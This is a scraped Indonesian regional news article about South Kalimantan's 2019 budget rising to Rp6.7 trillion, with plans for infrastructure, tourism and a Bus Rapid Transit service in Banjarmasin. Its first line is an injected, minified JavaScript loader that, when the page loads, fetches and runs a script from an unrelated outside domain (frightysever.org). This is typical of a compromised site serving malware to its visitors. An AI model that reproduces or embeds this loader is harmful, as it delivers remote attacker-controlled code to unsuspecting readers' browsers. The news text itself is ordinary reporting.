(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, APBD (Anggaran Pendapatan Belanja Daerah) Kalimantan Selatan mengalami kenaikan hingga mencapai Rp6,7 triliun untuk tahun 2019.
Kenaikan angka tersbut akan digunakan pemerintah dengan sebaik-baiknya. Sekdaprov Kalsel Haris Makkie mengatakan, pada tahun 2019 nanti Pemprov Kalsel akan berkonsentrasi penuh pada bidang infrastruktur, pendidikan, dan kesehatan.
Namun tentu perkembangan tersebut akan terus dilakukan secara bertahap ungkapnya. Karena anggaran pasti diperlukan untuk kegiatan-kegiatan lainnya. Terlepas dari tiga fokus tersebut, tentu bidang lain bukan tidak diperhatikan oleh pemerintah.
“Sektor pariwisata juga kita perhatikan,†kata Haris Makkie.
Alasan kenapa sektor pariwisata sudah mulai diperhatikan karena pemerintah provinsi sudah mulai melihat produk komoditas sektor pertambangan sudah tidak bisa diperbaharui.
Diakui Sekdaprov Kalsel, Pemprov Kalsel juga melirik pengembangan sektor pertanian dan perkebungan yang nantinya akan diintegrasikan dengan sektor pariwisata. Hal ini mereka lakukan karena sektor pariwisata yang tentu lebih banyak dan bahkan menyebar di mana-mana.
Mendukung sektor pariwisata di Kalsel, Kadishub Provinsi Kalsel Rusdiansyah mengatakan, pihaknya menunggu APBD untuk Bus Rapid Transit (BRT) yang akan segera dioperasionalkan pada 2019 mendatang.
Sejauh ini Dishub Kalsel sudah mempunyai 5 armada bus. Rusdiansyah mengaku, unit armada itu masih kurang. “Sebenarnya kita perlu lebih banyak untuk BRT, minimal 20 unit,†sebutnya. Hanya saja, pihaknya tetap melihat perkembangan dari APBD dan akan terus koordinasi dengan SKPD yang terkait dengan anggaran tersebut.
Untuk operasional BRT nantinya, Dishub Kalsel juga menggandeng swasta untuk halte yang kini sudah mencapai hinggai 80 lebih. “85 kalau tidak salah, sudah oke,†katanya.
Pihak swasta masih ditunggu karena sedang dalam tahap pengajuan proposal. Agar dana tersebut tersedia, pihaknya perlu persetujuan Walikota Banjarmasin, Walikota Banjarbaru, dan Bupati Banjar, serta titik-titik persinggahan operasional bus tersebut.
Meskipun tidak menetapkan tanggal yang pasti, tapi Rusdiansyah berharap semuanya telah rampung di tahun 2019. “Karena ini ada turut serta swasta (untuk halte), kita berterima kasih,†pungkasnya. (mario)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.